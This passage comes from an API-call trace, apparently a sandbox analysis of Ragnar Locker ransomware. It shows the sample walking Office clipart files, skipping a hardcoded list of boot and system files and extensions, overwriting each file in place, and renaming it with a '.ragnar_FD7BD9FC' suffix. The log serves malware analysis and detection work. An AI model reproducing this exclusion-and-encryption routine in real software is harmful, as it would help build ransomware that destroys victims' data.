lpString2="boot.ini") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="bootfont.bin") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="bootsect.bak") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="bootmgr") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="bootmgr.efi") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="bootmgfw.efi") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="desktop.ini") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="iconcache.db") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="ntldr") returned -1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="ntuser.dat") returned -1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="ntuser.dat.log") returned -1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="ntuser.ini") returned -1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="thumbs.db") returned -1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.595] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0083.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11228) returned 1 [0083.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.596] GetProcessHeap () returned 0x580000 [0083.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.596] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2bdc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.598] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2bdc, lpOverlapped=0x0) returned 1 [0083.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.599] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2bdc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2bdc, lpOverlapped=0x0) returned 1 [0083.599] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.599] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.599] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.599] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.599] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.599] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.600] GetProcessHeap () returned 0x580000 [0083.600] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.600] CloseHandle (hObject=0xf4) returned 1 [0083.600] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" [0083.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ragnar_FD7BD9FC" [0083.600] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0083.600] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.600] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105246.WMF" | out: lpString1="J0105246.WMF") returned="J0105246.WMF" [0083.600] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned=".WMF" [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="autorun.inf") returned 1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="boot.ini") returned 1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="bootfont.bin") returned 1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="bootsect.bak") returned 1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="bootmgr") returned 1 [0083.600] lstrcmpiW (lpString1="J0105246.WMF", lpString2="bootmgr.efi") returned 1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="bootmgfw.efi") returned 1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="desktop.ini") returned 1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="iconcache.db") returned 1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="ntldr") returned -1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="ntuser.dat") returned -1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="ntuser.dat.log") returned -1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="ntuser.ini") returned -1 [0083.601] lstrcmpiW (lpString1="J0105246.WMF", lpString2="thumbs.db") returned -1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.601] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0083.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.601] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19328) returned 1 [0083.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.601] GetProcessHeap () returned 0x580000 [0083.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.601] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.603] VirtualAlloc (lpAddress=0x0, dwSize=0x4b80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.603] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b80, lpOverlapped=0x0) returned 1 [0083.604] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.604] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b80, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.604] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b80, lpOverlapped=0x0) returned 1 [0083.605] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.605] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.605] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.605] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.605] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.605] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.605] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.605] GetProcessHeap () returned 0x580000 [0083.605] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.605] CloseHandle (hObject=0xf4) returned 1 [0083.606] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" [0083.606] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ragnar_FD7BD9FC" [0083.606] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0083.606] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.606] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105250.WMF" | out: lpString1="J0105250.WMF") returned="J0105250.WMF" [0083.606] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned=".WMF" [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="autorun.inf") returned 1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="boot.ini") returned 1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="bootfont.bin") returned 1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="bootsect.bak") returned 1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="bootmgr") returned 1 [0083.606] lstrcmpiW (lpString1="J0105250.WMF", lpString2="bootmgr.efi") returned 1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="bootmgfw.efi") returned 1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="desktop.ini") returned 1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="iconcache.db") returned 1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="ntldr") returned -1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="ntuser.dat") returned -1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="ntuser.dat.log") returned -1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="ntuser.ini") returned -1 [0083.607] lstrcmpiW (lpString1="J0105250.WMF", lpString2="thumbs.db") returned -1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0083.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.608] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4628) returned 1 [0083.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x120b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.608] GetProcessHeap () returned 0x580000 [0083.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.608] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.610] VirtualAlloc (lpAddress=0x0, dwSize=0x1214, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.610] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1214, lpOverlapped=0x0) returned 1 [0083.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.611] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1214, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.611] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1214, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1214, lpOverlapped=0x0) returned 1 [0083.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1214, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.611] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.612] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.612] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.612] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.612] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.612] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.612] GetProcessHeap () returned 0x580000 [0083.612] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.612] CloseHandle (hObject=0xf4) returned 1 [0083.612] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" [0083.612] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ragnar_FD7BD9FC" [0083.612] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0083.613] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.613] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105266.WMF" | out: lpString1="J0105266.WMF") returned="J0105266.WMF" [0083.613] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned=".WMF" [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="autorun.inf") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="boot.ini") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="bootfont.bin") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="bootsect.bak") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="bootmgr") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="bootmgr.efi") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="bootmgfw.efi") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="desktop.ini") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="iconcache.db") returned 1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="ntldr") returned -1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="ntuser.dat") returned -1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="ntuser.dat.log") returned -1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="ntuser.ini") returned -1 [0083.613] lstrcmpiW (lpString1="J0105266.WMF", lpString2="thumbs.db") returned -1 [0083.613] 